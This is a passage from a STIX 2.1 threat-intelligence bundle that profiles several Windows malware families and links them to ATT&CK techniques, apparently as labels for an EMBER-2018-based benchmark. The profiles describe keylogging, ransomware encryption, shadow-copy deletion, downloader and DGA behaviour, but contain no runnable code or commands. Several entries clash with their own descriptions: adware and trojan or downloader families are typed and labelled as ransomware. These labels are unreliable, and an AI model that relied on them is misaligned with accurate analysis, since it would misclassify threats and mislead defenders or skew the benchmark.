encrypted log files growing rapidly in the `System32` directory. Network IoCs include consistent, periodic outbound traffic (often SMTP) to unauthorized email servers or known spyware vendor infrastructure. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Elitekeylogger",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/elitekeylogger"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae223d73-1021-57b8-85fc-28f97bac19e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e6bdafaf-e92d-500b-85b0-19f5bfa4cbae",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Elitekeylogger exhibits technique T1014 (Rootkit (Kernel-level keylogging driver))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df1343cb-bb34-5daa-a099-1a634b961de5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e6bdafaf-e92d-500b-85b0-19f5bfa4cbae",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Elitekeylogger exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--308061a9-2453-5a49-b3f7-9872cd097892",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e6bdafaf-e92d-500b-85b0-19f5bfa4cbae",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Elitekeylogger exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb72f5e0-93b3-5667-b32d-b2a0ab5a67f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e6bdafaf-e92d-500b-85b0-19f5bfa4cbae",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Elitekeylogger exhibits technique T1555 (Credentials from Password Stores)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--60678c54-09ac-56bf-9977-0186faedae40",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Elzob",
      "description": "Elzob (identified in security research telemetry as Ransom:Win32/Elzob, Trojan-Ransom.Win32.Elzob, and Win32/Elzob) is an aggressive Windows ransomware family active in opportunistic cybercrime attacks. Delivered via phishing campaigns and compromised freeware installers, Elzob scans local disk partitions, removable media, and mapped SMB shares for critical files including documents, spreadsheets, photos, and databases. It encrypts identified targets using symmetric encryption paired with public-key cryptography, renaming affected files with an extension such as .elzob or .locked. To maximize leverage and prevent local remediation, Elzob executes shell commands executing vssadmin to eliminate Volume Shadow Copies and modifies bootloader configurations via bcdedit to disable automated startup repairs. It leaves text extortion notes across encrypted directories directing victims to contact operators via Tor or darknet portals. (Observed samples in benchmark: 22)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Elzob",
        "Trojan-Ransom.Win32.Elzob",
        "Win32/Elzob",
        "Ransom.Elzob",
        "Ransom:Win32/Elzob.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Elzob",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/elzob"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--603ccde4-2345-5e2f-97bc-fe186bfb8607",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--60678c54-09ac-56bf-9977-0186faedae40",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Elzob exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--983a6836-f0d2-57f0-9fde-4f66a5570faf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--60678c54-09ac-56bf-9977-0186faedae40",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Elzob exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4c678a2-9e29-5b7d-ae3f-28f51d383a34",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--60678c54-09ac-56bf-9977-0186faedae40",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Elzob exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5368a0d8-0a29-50f7-9bb9-66804231ef98",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--60678c54-09ac-56bf-9977-0186faedae40",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Elzob exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a19c47d-8e00-5467-978d-c72f90142c46",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--60678c54-09ac-56bf-9977-0186faedae40",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Elzob exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1cbc38db-4b8e-5145-bb61-e94f6a1f9030",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Emarketing",
      "description": "<h3>Executive Summary</h3>\nEmarketing is a classification for a broad category of Adware and Spyware programs designed for aggressive, unauthorized monetization. Its primary objective is to track a user's web browsing habits in order to serve highly targeted, intrusive advertisements (pop-ups, injected banners) and to sell the harvested marketing data to third-party data brokers without the user's explicit consent.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nEmarketing software is almost exclusively distributed via software bundling (Potentially Unwanted Programs or PUPs). Users typically install this threat inadvertently when downloading \"free\" software from third-party download portals, failing to uncheck pre-selected boxes during the installation wizard.\n\nUpon execution, the software focuses on data collection and ad injection:\n<ul>\n<li><strong>Browser Tracking:</strong> The software frequently installs persistent Browser Helper Objects (BHOs) or malicious extensions into major web browsers. It actively tracks every URL visited, search queries entered, and time spent on specific websites.</li>\n<li><strong>Ad Injection:</strong> Emarketing significantly degrades the user experience by injecting its own advertisements into legitimate websites. It may highlight random words on a page and turn them into hyperlinked ads, or spawn multiple pop-up windows regardless of the site being visited.</li>\n<li><strong>System Performance Impact:</strong> Because the software is constantly monitoring web traffic and rendering unauthorized advertisements, it often causes severe system slowdowns, high CPU utilization, and browser instability.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Emarketing is not typically designed to destroy data like ransomware, it poses a severe privacy risk and significantly degrades system performance. Furthermore, the aggressive ad networks utilized by these programs frequently serve \"malvertising,\" exposing the user to severe secondary infections like exploit kits or banking trojans.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Application Removal:</strong> The first step is to identify and uninstall the core adware application via the Windows Control Panel, looking for recently installed, suspicious \"free\" utilities or toolbars.</li>\n<li><strong>Browser Reset:</strong> Because Emarketing deeply alters browser configurations, the most effective remediation is a complete reset of all installed web browsers to their factory default settings, which automatically clears malicious extensions, BHOs, and tracking cookies.</li>\n<li><strong>Anti-Malware Sweep:</strong> Run a comprehensive scan using a reputable anti-malware solution specifically tuned to detect and remove Potentially Unwanted Programs (PUPs) and lingering registry keys left behind by the adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Emarketing",
        "PUP.Emarketing",
        "Spyware.Marketing"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Emarketing",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/emarketing"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2bba98ea-9bc9-5edf-b8b8-e8aa430bcfb0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1cbc38db-4b8e-5145-bb61-e94f6a1f9030",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emarketing exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--efb20249-6f05-5a78-8672-1208141790b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1cbc38db-4b8e-5145-bb61-e94f6a1f9030",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emarketing exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef48915c-57bf-51c4-ba5f-8194f0d983f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1cbc38db-4b8e-5145-bb61-e94f6a1f9030",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emarketing exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fbaea1e6-2772-5d63-8d44-d07c72b7319c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Emathi",
      "description": "<h3>Executive Summary</h3>\nEmathi is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nEmathi is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Emathi operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Emathi ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Emathi receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn Emathi infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Emathi executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Emathi frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Emathi",
        "Downloader.Emathi",
        "Win32/Emathi"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Emathi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/emathi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d0c3276f-0482-57b1-93a5-8f62e6c03969",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fbaea1e6-2772-5d63-8d44-d07c72b7319c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emathi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a6b503e-78b6-50cc-9d89-b8c897b7f2b2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fbaea1e6-2772-5d63-8d44-d07c72b7319c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emathi exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f893b933-3d3c-5933-b3c8-51fd76c6b4f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fbaea1e6-2772-5d63-8d44-d07c72b7319c",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emathi exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--04a002bf-ee98-54cd-ac4d-93be8843070c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Emelent",
      "description": "Trojan:Win32/Emelent is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Emelent</b><br>To an end-user, an Emelent infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Emelent is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Emelent is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Emelent frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Emelent reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Emelent",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/emelent"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2619603-0f52-5850-9613-78a57fbada77",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04a002bf-ee98-54cd-ac4d-93be8843070c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emelent exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ffa5673-2924-53a7-a44b-af179ab8bf1e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04a002bf-ee98-54cd-ac4d-93be8843070c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emelent exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e6279a1-2b79-5059-a6c9-55c671f5a83d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04a002bf-ee98-54cd-ac4d-93be8843070c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emelent exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94559987-072c-5fcd-931c-90cdd1c679e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04a002bf-ee98-54cd-ac4d-93be8843070c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emelent exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--053046d8-61c8-5cff-a4ea-e1da2ee9963e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04a002bf-ee98-54cd-ac4d-93be8843070c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emelent exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--30886bbf-52bd-56e8-9cb3-9ea97f76449a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Emgfamt7Gjgi",
      "description": "<h3>Executive Summary</h3>\n\"Emgfamt7gjgi\" is a machine-generated detection signature utilized by advanced heuristic antivirus engines. It does not identify a specific, named malware family, but rather flags an executable file or network request that exhibits characteristics strongly associated with Domain Generation Algorithms (DGAs) or heavily obfuscated malware droppers.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nThe pseudo-random string \"Emgfamt7gjgi\" is typical of the naming conventions used by security vendors when an unknown file triggers behavioral alerts but fails to match a known static signature. \n\nFiles or network requests flagged with this identifier frequently demonstrate:\n<ul>\n<li><strong>DGA Communication:</strong> The malware attempts to resolve DNS queries for long, random, nonsensical domain names. This is a common tactic used by botnets and trojans to locate their command-and-control (C2) servers while evading static IP blocklists.</li>\n<li><strong>High Code Entropy:</strong> The executable is heavily packed or encrypted using custom algorithms, aiming to hide the true malicious payload from static analysis and reverse engineering tools.</li>\n<li><strong>Process Injection:</strong> The program attempts to execute Windows APIs to inject code into legitimate system processes, attempting to bypass local firewalls and execute stealthily.</li>\n</ul>\n\n<h3>Security and Risk Implications</h3>\nWhile a generic detection lacks the context of a known family, an alert for this identifier is a severe security event. It frequently indicates the presence of a zero-day threat or a highly evasive initial access dropper designed to establish a beachhead for a larger, targeted attack.\n\n<h3>Incident Response Guidelines</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Isolate the endpoint from the corporate network immediately to halt the DGA communication and prevent the potential download of secondary payloads.</li>\n<li><strong>DNS Log Analysis:</strong> Analyze corporate DNS logs for the specific pseudo-random strings generated during the alert to identify other potentially compromised hosts beaconing to the same infrastructure.</li>\n<li><strong>Sandbox Detonation:</strong> Extract the flagged executable and submit it to an isolated malware sandbox to monitor its behavior, identify the true payload, and generate actionable Indicators of Compromise (IOCs).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.DGA",
        "Suspicious.Emgfamt7gjgi",
        "Heur.Emgfamt7gjgi"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Emgfamt7Gjgi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/emgfamt7gjgi"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15af588b-fd62-555a-b694-68a565987e47",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30886bbf-52bd-56e8-9cb3-9ea97f76449a",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emgfamt7Gjgi exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49a3db22-5084-56c7-bb5d-5dded2b10ea6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30886bbf-52bd-56e8-9cb3-9ea97f76449a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emgfamt7Gjgi exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6046b1ae-6adc-5569-ad04-318af752916f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30886bbf-52bd-56e8-9cb3-9ea97f76449a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emgfamt7Gjgi exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a1963401-7e72-55a5-a88a-d4e6addfa47d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Emmfaeuirscb",
      "description": "Trojan:Win32/Emmfaeuirscb (or similar auto-generated strings) represents the antivirus industry's response to highly polymorphic malware or Domain Generation Algorithms (DGA). Instead of a named family, this string is a generic, randomized identifier assigned by an AV engine to a threat that is rapidly shifting its signature to evade detection (`T1027`). This indicates the presence of a sophisticated dropper or a botnet agent actively communicating with shifting C2 infrastructure.<br><br><b>Understanding Polymorphic/DGA Identifiers</b><br>To an end-user, the file is simply blocked. For a SOC analyst, a detection with a randomized name like 'Emmfaeuirscb' is a signal that static IOCs (like file hashes) will be nearly useless for hunting. The attacker is using automated tools to recompile the malware for every victim, or using DGA to contact thousands of different domains a day.<br><br><b>Execution and Polymorphic Mechanics</b><br>When executed, polymorphic threats unpack themselves dynamically in memory (`T1027.002`). They often inject their code into legitimate processes (like `svchost.exe`) (`T1055`) to hide their activity. If the threat utilizes DGA (`T1568.002`), it uses a mathematical algorithm to generate hundreds of potential C2 domain names. The malware attempts to connect to these domains until it finds one that the attacker has actually registered and activated for that day's operations, making IP/Domain blacklisting highly ineffective.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the payload the polymorphic dropper intends to deliver (ransomware, infostealers, etc.). Host-based IoCs must focus on behavior: EDR alerts for process injection, anomalous child process spawning, or rapid creation/deletion of temporary files. Network IoCs are characterized by the malware generating a massive volume of DNS requests for non-existent, randomly generated domains (NXDOMAIN responses), mixed with a few successful connections. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Emmfaeuirscb",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/emmfaeuirscb"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9bfe9b4d-2bd6-5291-83d4-b790ff86ed9e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a1963401-7e72-55a5-a88a-d4e6addfa47d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emmfaeuirscb exhibits technique T1027 (Obfuscated Files or Information (Polymorphism used to evade static signatures))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--568c26e2-6e48-58b7-9d73-09d9ca5b124f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a1963401-7e72-55a5-a88a-d4e6addfa47d",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emmfaeuirscb exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7519180d-9796-522d-a639-9521051a3537",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a1963401-7e72-55a5-a88a-d4e6addfa47d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emmfaeuirscb exhibits technique T1055 (Process Injection (Hiding the unpacked, malicious code inside legitimate processes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eaced2f9-dd9b-5853-859f-7528c49afca2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Emogen",
